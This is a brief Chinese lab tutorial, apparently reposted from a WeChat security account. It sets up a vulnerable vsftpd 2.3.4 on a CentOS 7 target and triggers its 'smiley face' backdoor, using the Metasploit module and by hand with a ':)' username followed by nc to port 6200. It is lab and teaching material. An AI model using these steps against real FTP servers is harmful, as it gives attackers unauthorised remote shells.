环境搭建

压缩包需要下载特定版本，官方提供的安装包没有这个漏洞

1.靶机环境是centos7  ，首先解压缩包，并上传到靶机目录

 tar -zxvf   压缩包名称

2.进入vsftpd目录，赋予文件权限，之后进行make &&make install

cd /vsftpd-2.3.4

chmod 777 *

make &&make install

漏洞利用

code:1

使用msf利用

use exploit/unix/ftp/vsftpd_234_backdoor set RhoSTS 192.168.142.145exploit

code:2

手动利用

打开命令行登录ftp服务器，在用户名处输入root:)然后随意输入一个密码回车等待，

输入nc 目标ip 6200 即可连接

原文始发于微信公众号（网络安全学习爱好者）：VSFTPD 2.3.4 笑脸漏洞